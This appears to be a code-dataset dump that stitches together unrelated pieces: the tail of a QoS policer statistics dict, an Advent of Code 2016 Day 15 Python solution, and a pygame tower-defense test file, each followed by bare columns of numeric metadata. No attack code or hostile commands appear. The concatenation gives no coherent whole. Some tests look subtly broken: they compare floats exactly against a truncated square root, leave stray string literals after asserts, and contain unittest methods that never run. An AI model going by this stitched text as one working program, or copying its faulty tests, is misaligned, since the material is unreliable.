"packets": 2985887,
"bytes": 370249988,
"actions": {
"set_mpls_exp_imposition_transmit": "2"
},
"bps": 0,
},
},
},
"pe_af2_out_input": {
"match_evaluation": "match-any",
"packets": 0,
"bytes": 0,
"rate": {
"interval": 30,
"offered_rate_bps": 0,
"drop_rate_bps": 0,
},
"match": ["dscp af22 (20) af23 (22)"],
"police": {
"conformed": {
"packets": 0,
"bytes": 0,
"actions": {
"set_mpls_exp_imposition_transmit": "2"
},
"bps": 0,
},
"exceeded": {
"packets": 0,
"bytes": 0,
"actions": {
"set_mpls_exp_imposition_transmit": "2"
},
"bps": 0,
},
"violated": {
"packets": 0,
"bytes": 0,
"actions": {
"set_mpls_exp_imposition_transmit": "2"
},
"bps": 0,
},
},
},
"pe_af1_in_input": {
"match_evaluation": "match-any",
"packets": 3157934,
"bytes": 391583816,
"rate": {
"interval": 30,
"offered_rate_bps": 0,
"drop_rate_bps": 0,
},
"match": ["dscp cs1 (8) af11 (10)"],
"police": {
"conformed": {
"packets": 171176,
"bytes": 21225824,
"actions": {
"set_mpls_exp_imposition_transmit": "6"
},
"bps": 0,
},
"exceeded": {
"packets": 1090,
"bytes": 135160,
"actions": {
"set_mpls_exp_imposition_transmit": "2"
},
"bps": 0,
},
"violated": {
"packets": 2985668,
"bytes": 370222832,
"actions": {
"set_mpls_exp_imposition_transmit": "2"
},
"bps": 0,
},
},
},
"pe_af1_out_input": {
"match_evaluation": "match-any",
"packets": 0,
"bytes": 0,
"rate": {
"interval": 30,
"offered_rate_bps": 0,
"drop_rate_bps": 0,
},
"match": ["dscp af12 (12) af13 (14)"],
"police": {
"conformed": {
"packets": 0,
"bytes": 0,
"actions": {
"set_mpls_exp_imposition_transmit": "2"
},
"bps": 0,
},
"exceeded": {
"packets": 0,
"bytes": 0,
"actions": {
"set_mpls_exp_imposition_transmit": "2"
},
"bps": 0,
},
"violated": {
"packets": 0,
"bytes": 0,
"actions": {
"set_mpls_exp_imposition_transmit": "2"
},
"bps": 0,
},
},
},
}
}
}
}
}
}
}
| 50.655022
| 84
| 0.174009
| 872
| 23,200
| 4.363532
| 0.123853
| 0.063075
| 0.129829
| 0.139816
| 0.87385
| 0.865966
| 0.857556
| 0.838108
| 0.838108
| 0.828384
| 0
| 0.072646
| 0.749612
| 23,200
| 457
| 85
| 50.765864
| 0.582372
| 0
| 0
| 0.649891
| 0
| 0
| 0.164052
| 0.048707
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
de66e874e6f3337a7898ffcca9505f6c20b64a4f
| 1,501
|
py
|
Python
|
AdventOfCode2016/Day15/Day15.py
|
MattTitmas/AdventOfCode
|
36be4f6bf973f77ff93b08dc69c977bb11951f27
|
[
"MIT"
] | null | null | null |
AdventOfCode2016/Day15/Day15.py
|
MattTitmas/AdventOfCode
|
36be4f6bf973f77ff93b08dc69c977bb11951f27
|
[
"MIT"
] | null | null | null |
AdventOfCode2016/Day15/Day15.py
|
MattTitmas/AdventOfCode
|
36be4f6bf973f77ff93b08dc69c977bb11951f27
|
[
"MIT"
] | null | null | null |
def part1():
positions = {int(i.split("#")[1][0]): int(i.split("position ")[1][:-1]) for i in open("input.txt").read().split("\n")[:-1]}
possiblePositions = {int(i.split("#")[1][0]): int(i.replace("positions;","has").split("has ")[1]) for i in open("input.txt").read().split("\n")}
time = 0
while True:
for (key, value) in positions.items():
positions[key] = (value + 1) % possiblePositions[key]
allZero = True
for key in positions.keys():
position = (positions[key] + key) % possiblePositions[key]
if position != 0:
allZero = False
break
if allZero:
return time+1
time += 1
def part2():
positions = {int(i.split("#")[1][0]): int(i.split("position ")[1][:-1]) for i in open("input.txt").read().split("\n")}
possiblePositions = {int(i.split("#")[1][0]): int(i.replace("positions;","has").split("has ")[1]) for i in open("input.txt").read().split("\n")}
time = 0
while True:
for (key, value) in positions.items():
positions[key] = (value + 1) % possiblePositions[key]
allZero = True
for key in positions.keys():
position = (positions[key] + key) % possiblePositions[key]
if position != 0:
allZero = False
break
if allZero:
return time+1
time += 1
print(f"Answer to part 1: {part1()}")
print(f"Answer to part 2: {part2()}")
| 34.906977
| 148
| 0.52565
| 191
| 1,501
| 4.13089
| 0.198953
| 0.040558
| 0.068441
| 0.050697
| 0.963245
| 0.917617
| 0.917617
| 0.917617
| 0.917617
| 0.917617
| 0
| 0.02873
| 0.281146
| 1,501
| 43
| 149
| 34.906977
| 0.702502
| 0
| 0
| 0.823529
| 0
| 0
| 0.10253
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.058824
| false
| 0
| 0
| 0
| 0.117647
| 0.058824
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
de8794163b3c7d92f6d0ca8edd5cddb50532f7a4
| 7,219
|
py
|
Python
|
test_game.py
|
alenasur/Game_CAFA
|
ea3fd48f02e6781ff0bce74b94e8f458e1a0f4cd
|
[
"MIT"
] | null | null | null |
test_game.py
|
alenasur/Game_CAFA
|
ea3fd48f02e6781ff0bce74b94e8f458e1a0f4cd
|
[
"MIT"
] | null | null | null |
test_game.py
|
alenasur/Game_CAFA
|
ea3fd48f02e6781ff0bce74b94e8f458e1a0f4cd
|
[
"MIT"
] | 1
|
2021-12-16T20:41:17.000Z
|
2021-12-16T20:41:17.000Z
|
import math
import random
import pygame
import pytest
import unittest
from unittest import TestCase
from main import fcnmath, tow_ok, tower, do_r, check, checkpoin, put_e, enem
def test_fcnmath():
x1, x2, y1, y2 = 0, 1, 0, 1
x_v = 1
y_v = 1
ny_v1 = 1 / math.sqrt(2)
d1 = math.sqrt(2)
a1 = math.atan2(1, 1)
nx_v1 = 1 / math.sqrt(2)
nx_v, ny_v, d, a = fcnmath(x1, x2, y1, y2)
assert nx_v1 == nx_v and ny_v1 == ny_v and d1 == d and a1 == a
"Should be 0.7071067811865475, 1.4142135623730951, 0.7853981633974483, 0.7071067811865475"
def test_fcnmath_eg():
x1, x2, y1, y2 = 1, 5, 2, 5
x_v = 4
y_v = 3
ny_v1 = 0.6
d1 = 5
a1 = math.atan2(3,4)
nx_v1 = 0.8
nx_v, ny_v, d, a = fcnmath(x1, x2, y1, y2)
assert nx_v1 == nx_v and ny_v1 == ny_v and d1 == d and a1 == a
"Should be 0.8, 0.6, 5, 0.6435011087932844"
def test_fcnmath_sanya():
x1, x2, y1, y2 = 5, 10, 3, 6
x_v = 5
y_v = 3
d1 = 5.8309518948453
nx_v1 = 0.8574929257125443
ny_v1 = 0.5144957554275266
a1 = 0.5404195002705842
nx_v, ny_v, d, a = fcnmath(x1, x2, y1, y2)
assert nx_v1 == nx_v and ny_v1 == ny_v and d1 == d and a1 == a
"Should be 0.8574929257125443, 0.5144957554275266, 5.8309518948453, 0.5404195002705842"
def test_fcnmath_12():
x1, x2, y1, y2 = 22, 10, 16, 11
x_v = -12
y_v = -5
d1 = 13
nx_v1 = -12 / 13
ny_v1 = -5 / 13
a1 = math.atan2(ny_v1, nx_v1)
nx_v, ny_v, d, a = fcnmath(x1, x2, y1, y2)
assert nx_v1 == nx_v and ny_v1 == ny_v and d1 == d and a1 == a
"Should be 0.9230769230769231, 0.38461538461538464, 13, 0.3947911196997615"
def test_tow_ok1():
x = 30 / 2
y = 30 / 2
yellow = (255, 255, 0)
towers = [tower(15 + 30 / 2, 15 + 30 / 2, 10, yellow, 5, 2), ]
a = [
[0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0],
[0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0],
[1, 1, 1, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0],
[0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0],
[0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0],
[0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0],
[0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0],
[0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0],
[0, 0, 0, 3, 1, 1, 1, 1, 1, 1, 1, 1, 1, 4, 0, 0, 0, 0, 0, 0],
[0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0],
[0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0],
[0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0],
[0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0],
[0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0],
[0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 5, 1, 1, 6, 0, 0, 0],
[0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0],
[0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0],
[0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0],
[0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 7, 1, 1, 8],
[0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0],
[0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0]
]
side_s = 30
road = do_r()
assert tow_ok(x, y) == True
def test_tow_ok2():
x = 30 / 2
y = 30 / 2
yellow = (255, 255, 0)
towers = [tower(90 + 30 / 2, 60 + 30 / 2, 10, yellow, 5, 2), ]
a = [
[0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0],
[1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 2, 0],
[0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0],
[0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0],
[0, 4, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 3, 0],
[0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0],
[0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0],
[0, 5, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 6, 0],
[0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0],
[0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0],
[0, 8, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 7, 0],
[0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0],
[0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0],
[0, 9, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 10, 0],
[0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0],
[0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0],
[0, 12, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 11, 0],
[0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0],
[0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0],
[0, 13, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 14],
[0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0]
]
side_s = 30
road = do_r()
assert tow_ok(x, y) == True
def test_tow_ok3():
x = 30 / 2
y = 30 / 2
yellow = (255, 255, 0)
towers = [tower(45 + 30 / 2, 75 + 30 / 2, 10, yellow, 5, 2), ]
a = [
[0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0],
[1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 2, 0],
[0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0],
[0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0],
[0, 4, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 3, 0],
[0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0],
[0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0],
[0, 5, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 6, 0],
[0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0],
[0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0],
[0, 8, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 7, 0],
[0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0],
[0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0],
[0, 9, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 10, 0],
[0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0],
[0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0],
[0, 12, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 11, 0],
[0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0],
[0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0],
[0, 13, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 14],
[0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0]
]
side_s = 30
road = do_r()
assert tow_ok(x, y) == True
class Test(TestCase):
def get_road(self):
# протяженность дороги
len_road = 38
self.assertEqual(len(do_r()), len_road)
def get_checkoints(self):
# количество контрольных точек
num_turns = 6
self.assertEqual(len(checkpoin()), num_turns)
def get_enem(self):
# количество врагов
num_enem = 6
red = (255, 0, 0)
self.assertEqual(len(put_e(10, red, 10, 3)), num_enem)
| 39.883978
| 94
| 0.395069
| 1,748
| 7,219
| 1.586957
| 0.059497
| 0.63951
| 0.895458
| 1.127614
| 0.656813
| 0.642754
| 0.642754
| 0.642754
| 0.642754
| 0.63951
| 0
| 0.384382
| 0.361407
| 7,219
| 180
| 95
| 40.105556
| 0.217354
| 0.009281
| 0
| 0.580645
| 0
| 0
| 0.040151
| 0
| 0
| 0
| 0
| 0
| 0.064516
| 1
| 0.064516
| false
| 0
| 0.045161
| 0
| 0.116129
| 0
| 0
| 0
| 1
| null | 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
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